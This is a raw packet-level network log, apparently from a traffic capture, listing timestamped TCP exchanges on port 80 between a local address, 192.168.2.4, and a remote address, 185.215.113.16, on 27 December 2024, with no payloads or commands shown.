Dec 27, 2024 08:45:22.773336887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.773425102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.773458004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.774112940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.774163961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.774269104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.774723053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.774852037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.775470972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.775507927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.775576115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.775615931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.776235104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.776362896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.776823044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.776865959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.790431023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.790616035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.790699005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.790744066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.790796041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.790867090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.791482925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.791580915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.791623116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.792186022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.792227983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.792289972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.792927027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.793008089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.793054104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.793617964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.793659925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.793735027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.794349909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.794455051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.794497967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.795059919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.795099974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.795155048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.795816898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.795875072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.795916080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.796472073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.796508074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.796583891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.850318909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.948134899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.948189020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.948348999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.948367119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.948484898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.949069023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.949119091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.949163914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.949202061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.949770927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.949913979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.950268030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.950491905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.950598955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.951198101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.951255083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.951306105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.951349974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.951934099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.951960087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.952627897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.952677965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.952735901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.952790022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.953448057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.953546047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.954269886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.954329014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.954355001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.954782963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.954832077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.954881907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.954927921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.955513954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.955624104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.956221104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.956267118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.956314087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.956352949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.956926107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.957056046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.957645893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.957691908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.957792997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.957839012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.958363056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.958487034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.958538055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.959053993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.959176064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.959739923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.959769964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.959881067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.959953070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.960504055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.960654974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.960691929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.961318016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.961453915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.961503029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.962203979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.962255955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.962306976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.962636948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.962745905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.962788105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.963368893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.963473082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.963510990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.964258909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.964416027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.964463949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.965045929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.965353012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.965547085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.965590954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.966240883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.966327906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.966376066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.966716051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.966942072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.967027903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.967216015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.967288971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.967377901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.967633009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.967739105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.967803955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.968364954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.968470097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.968508959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.969089985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.969177961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.969259024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.969786882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.970027924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.970159054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.970490932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.970608950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.970657110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.971199036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.971321106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.971359015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.971930981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.972032070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.972074032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.972635031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.972707987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.972806931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.973320007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.973457098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.973496914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.974071980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.974169016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.974237919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.974773884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.974900961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.974941015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.975495100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.975605011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.975661039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.976201057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.976346970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.976461887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.976924896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.977018118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.977066040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.977621078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.977735043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.977768898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.978312016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.992049932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.992094040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.992106915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.992281914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.992330074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.992408991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.992994070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.993041039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.993068933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.993697882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.993756056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.993799925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.994432926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.994527102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.994539022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.995117903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.995213985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.995240927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.995863914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.995908022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.995953083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.996649027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.996692896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.996777058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.997276068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.997330904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.997359037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.997984886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:22.998029947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:22.998074055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.053335905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.146967888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.149616003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.149722099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.149817944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.149903059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.150008917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.150049925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.150600910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.150721073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.150954962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.151333094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.151443958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.151493073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.152065039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.152178049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.152275085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.152740955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.152896881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.152966976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.153558016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.153662920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.153707027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.154212952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.154395103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.154437065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.154892921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.155008078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.155105114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.155622959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.155730009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.155769110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.155898094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.156332016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.156467915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.156558990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.157053947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.157165051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.157206059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.157748938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.157870054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.158024073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.158504009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.158540964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.158576965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.159188032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.159300089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.159343958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.159898043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.160015106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.160048962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.160603046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.160716057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.160814047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.161348104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.161421061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.161458969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.162038088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.162168980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.162210941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.162736893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.162847996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.162894964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.163454056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.163568020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.163606882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.164196014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.164311886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.164593935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.164887905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.165007114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.165045023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.165622950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.165714979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.165757895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.166332006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.166443110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.166482925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.167045116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.167185068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.167392969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.167774916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.167890072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.167932987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.168461084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.168580055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.168621063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.169188023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.169238091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.169307947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.169893980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.170000076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.170051098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.170597076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.170732021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.170773029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.171329975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.171420097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.171469927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.172117949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.172202110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.172234058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.172787905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.172880888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.173170090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.173506975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.173618078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.173666000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.174206972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.174331903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.174520016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.174894094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.175010920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.175051928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.175612926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.175709963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.175856113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.176323891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.176450014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.176481962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.177041054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.177136898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.177179098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.177753925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.177886009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.177994013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.178519964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.178558111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.178599119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.179197073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.179347992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.179388046 CET	49744	80	192.168.2.4	185.215.113.16
